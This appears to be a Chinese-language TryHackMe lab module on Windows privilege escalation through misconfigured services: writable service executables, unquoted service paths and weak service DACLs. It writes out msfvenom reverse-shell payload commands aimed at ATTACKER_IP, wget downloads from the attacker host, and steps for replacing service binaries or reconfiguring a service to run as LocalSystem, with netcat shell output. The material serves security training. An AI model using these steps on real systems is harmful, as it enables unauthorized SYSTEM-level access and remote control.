【THM-课程内容】:Privilege Escalation-Windows Privilege Escalation:Abusing Service Misconfigurations
Windows ServiceWindows服务由服务控制管理器-Service Control ManagerSCM进行管理。SCM是一个负责按需管理服务状态、检查特定服务当前状态并通常提供服务配置方式的进程。Windows机器上的每个服务都关联有一个可执行文件服务控制管理器SCM会在服务启动时运行该文件。需要特别注意的是服务可执行文件需具备与SCM通信的特殊功能因此并非任意可执行文件都能成功作为服务启动。每个服务还会指定运行时使用的用户账户。为了更好地理解服务的结构我们使用sc qc命令检查apphostsvc服务的配置C:\ sc qc apphostsvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: apphostsvc TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Application Host Helper Service DEPENDENCIES : SERVICE_START_NAME : localSystem此处可见关联的可执行文件通过BINARY_PATH_NAME参数指定而运行服务所用的账户则显示在SERVICE_START_NAME参数中。服务具有一个可选访问控制列表-Discretionary Access Control ListDACL用于指定哪些用户有权启动、停止、暂停、查询状态、查询配置或重新配置服务以及其他权限。该DACL可通过Process Hacker安装于本机桌面查看。所有服务配置都存储在注册表中的HKLM\SYSTEM\CurrentControlSet\services\下系统中的每个服务都有一个子密钥。同样我们可以在ImagePath值上看到相关的可执行文件在ObjectName值上看到用于启动服务的帐户。如果已为该服务配置了DACL则它将存储在名为Security的子密钥中。正如您现在所猜测的默认情况下只有管理员可以修改此类注册表项。Insecure Permissions on Service Executable如果与服务关联的可执行文件具有弱权限允许攻击者修改或替换它则攻击者可以轻而易举地获得服务帐户的权限。为了理解这是如何工作的让我们看看Splinterware System Scheduler上发现的一个漏洞。首先我们将使用sc查询服务配置C:\ sc qc WindowsScheduler [SC] QueryServiceConfig SUCCESS SERVICE_NAME: windowsscheduler TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : System Scheduler Service DEPENDENCIES : SERVICE_START_NAME : .\svcuser1我们可以看到由该漏洞软件安装的服务以svcuser1用户身份运行且与该服务关联的可执行文件位于C:\Progra~2\System~1\WService.exe。随后我们继续检查该可执行文件的权限设置C:\Users\thm-unprivicacls C:\PROGRA~2\SYSTEM~1\WService.exe C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) Successfully processed 1 files; Failed processing 0 files这里有个有趣的情况。Everyone组对服务的可执行文件拥有修改权限M。这意味着我们可以轻松地用任意自定义的有效载荷覆盖该文件服务将以配置用户账户的权限执行这些载荷。让我们使用msfvenom生成一个exe-service有效载荷并通过Python网络服务器提供服务userattackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOSTATTACKER_IP LPORT4445 -f exe-service -o rev-svc.exe userattackerpc$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...然后我们可以使用以下命令从Powershell中提取有效载荷wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe一旦payload在Windows服务器中我们就继续用payload替换服务可执行文件。由于我们需要另一个用户来执行我们的有效负载我们也希望向Everyone组授予完全权限C:\ cd C:\PROGRA~2\SYSTEM~1\ C:\PROGRA~2\SYSTEM~1 move WService.exe WService.exe.bkp 1 file(s) moved. C:\PROGRA~2\SYSTEM~1 move C:\Users\thm-unpriv\rev-svc.exe WService.exe 1 file(s) moved. C:\PROGRA~2\SYSTEM~1 icacls WService.exe /grant Everyone:F Successfully processed 1 files.我们在攻击者机器上启动一个反向监听器userattackerpc$ nc -lvp 4445最后重新启动服务。虽然在正常情况下您可能需要等待服务重启但您已被分配了自行重启服务的权限以节省一些时间。在cmd.exe命令提示符下使用以下命令C:\ sc stop windowsscheduler C:\ sc start windowsscheduler注意PowerShell将sc作为Set Content的别名因此您需要使用sc.exe以这种方式控制PowerShell的服务。因此您将获得一个具有svcusr1权限的反向shelluserattackerpc$ nc -lvp 4445 Listening on 0.0.0.0 4445 Connection received on 10.10.175.90 50649 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32whoami wprivesc1\svcusr1转到svcusr1桌面以检索标志。别忘了在任务结束时输入flag内容。Unquoted Service Paths当我们不能像以前那样直接写入服务可执行文件时仍然有可能通过使用一个相当模糊的功能来强制服务运行任意可执行文件。当使用Windows服务时当服务被配置为指向“未加引号”的可执行文件时会出现一种非常特殊的行为。未加引号的意思是相关可执行文件的路径没有正确引用以考虑命令上的空格。作为一个例子让我们看看两个服务之间的区别这些服务仅用作示例可能在您的计算机中不可用。第一个服务将使用正确的引号以便SCM知道它必须执行由“C:\Program Files\RealVNC \VNC Server\vncserver.exe”指向的二进制文件后面跟着给定的参数C:\ sc qc vncserver [SC] QueryServiceConfig SUCCESS SERVICE_NAME: vncserver TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files\RealVNC\VNC Server\vncserver.exe -service LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : VNC Server DEPENDENCIES : SERVICE_START_NAME : LocalSystem记住PowerShell将“sc”作为“Set Content”的别名因此如果您处于PowerShell提示符中则需要使用“sc.exe”来控制服务。现在让我们看看另一个没有正确引用的服务C:\ sc qc disk sorter enterprise [SC] QueryServiceConfig SUCCESS SERVICE_NAME: disk sorter enterprise TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Disk Sorter Enterprise DEPENDENCIES : SERVICE_START_NAME : .\svcusr2当SCM尝试执行关联的二进制文件时会出现问题。由于“Disk Sorter Enterprise”文件夹的名称上有空格因此命令变得模糊SCM不知道您要执行以下哪项CommandArgument 1Argument 2C:\MyPrograms\Disk.exeSorterEnterprise\bin\disksrs.exeC:\MyPrograms\Disk Sorter.exeEnterprise\bin\disksrs.exeC:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe这与命令提示符如何解析命令有关。通常当您发送命令时空格会被用作参数分隔符除非它们是引号字符串的一部分。这意味着对未引号命令的“正确”解释是执行C:\\MyPrograms\\Disk.exe并将其余部分作为参数。SCM并没有像它应该的那样失败而是试图帮助用户并按照表中所示的顺序开始搜索每个二进制文件首先搜索C:\\MyPrograms\\Disk.exe。如果存在服务将运行此可执行文件。如果后者不存在它将搜索C:\\MyPrograms\\Disk Sorter.exe。如果存在服务将运行此可执行文件。如果后者不存在它将搜索C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe。此选项预计会成功通常会在默认安装中运行。从这种行为中问题变得显而易见。如果攻击者在预期的服务可执行文件之前创建了搜索的任何可执行文件他们可以强制服务运行任意可执行文件。虽然这听起来微不足道但默认情况下大多数服务可执行文件将安装在C:\Program Files或C:\Program Filesx86下这是非特权用户无法写入的。这可以防止任何易受攻击的服务被利用。此规则有例外某些安装程序更改了已安装文件夹的权限使服务易受攻击。管理员可能会决定在非默认路径中安装服务二进制文件。如果这样的路径是世界可写的则可以利用该漏洞。在我们的例子中管理员在c:\MyPrograms下安装了磁盘排序器二进制文件。默认情况下这继承了C:\目录的权限允许任何用户在其中创建文件和文件夹。我们可以使用icacls进行检查C:\icacls c:\MyPrograms c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Administrators:(I)(OI)(CI)(F) BUILTIN\Users:(I)(OI)(CI)(RX) BUILTIN\Users:(I)(CI)(AD) BUILTIN\Users:(I)(CI)(WD) CREATOR OWNER:(I)(OI)(CI)(IO)(F) Successfully processed 1 files; Failed processing 0 filesBUILTIN\\Users组具有AD和WD权限允许用户分别创建子目录和文件。使用msfvenom创建exe服务有效负载并将其传输到目标主机的过程与以前相同因此请随意创建以下有效负载并像以前一样将其上传到服务器。我们还将启动一个监听器在执行反向shell时接收它userattackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOSTATTACKER_IP LPORT4446 -f exe-service -o rev-svc2.exe userattackerpc$ nc -lvp 4446一旦有效载荷进入服务器将其移动到可能发生劫持的任何位置。在这种情况下我们将把有效负载移动到C:\MyPrograms\Disk.exe。我们还将授予Everyone对该文件的完全权限以确保服务可以执行该文件C:\ move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe C:\ icacls C:\MyPrograms\Disk.exe /grant Everyone:F Successfully processed 1 files.一旦服务重新启动您的负载应该执行C:\ sc stop disk sorter enterprise C:\ sc start disk sorter enterprise因此您将获得一个具有svcusr2权限的反向shelluserattackerpc$ nc -lvp 4446 Listening on 0.0.0.0 4446 Connection received on 10.10.175.90 50650 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32whoami wprivesc1\svcusr2转到svcusr2桌面以检索标志。别忘了在任务结束时输入标志。Insecure Service Permissions如果服务的可执行DACL配置良好并且正确引用了服务的二进制路径您仍然有可能利用该服务。如果服务DACL不是服务的可执行DACL允许您修改服务的配置您将能够重新配置该服务。这将允许您指向所需的任何可执行文件并使用您喜欢的任何帐户运行它包括SYSTEM本身。要从命令行检查服务DACL可以使用Sysinternals套件中的Accesschk在新选项卡中打开。为了您的方便C:\\tools提供了一份副本。检查thmservice服务DACL的命令是C:\tools\AccessChk accesschk64.exe -qlc thmservice [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_PAUSE_CONTINUE SERVICE_START SERVICE_STOP SERVICE_USER_DEFINED_CONTROL READ_CONTROL [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users SERVICE_ALL_ACCESS在这里我们可以看到BUILTIN\\Users组具有SERVICE_ALL_ACCESS权限这意味着任何用户都可以重新配置服务。在更改服务之前让我们构建另一个exe服务反向shell并在攻击者的计算机上为其启动一个侦听器userattackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOSTATTACKER_IP LPORT4447 -f exe-service -o rev-svc3.exe userattackerpc$ nc -lvp 4447然后我们将把反向shell可执行文件传输到目标计算机并将其存储在C:\Users\thm unpiv\rev-svc3.exe中。请随时使用wget传输可执行文件并将其移动到所需的位置。请记住授予Everyone执行有效负载的权限C:\ icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F要更改服务的关联可执行文件和帐户我们可以使用以下命令使用sc.exe时请注意等号后的空格C:\ sc config THMService binPath C:\Users\thm-unpriv\rev-svc3.exe obj LocalSystem请注意我们可以使用任何帐户来运行该服务。我们选择LocalSystem是因为它是可用的最高权限帐户。要触发我们的负载剩下的就是重新启动服务C:\ sc stop THMService C:\ sc start THMService我们将在攻击者的机器上收到一个具有SYSTEM权限的shelluserattackerpc$ nc -lvp 4447 Listening on 0.0.0.0 4447 Connection received on 10.10.175.90 50650 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32whoami NT AUTHORITY\SYSTEM转到管理员的桌面以检索标志。别忘了在任务结束时输入标志。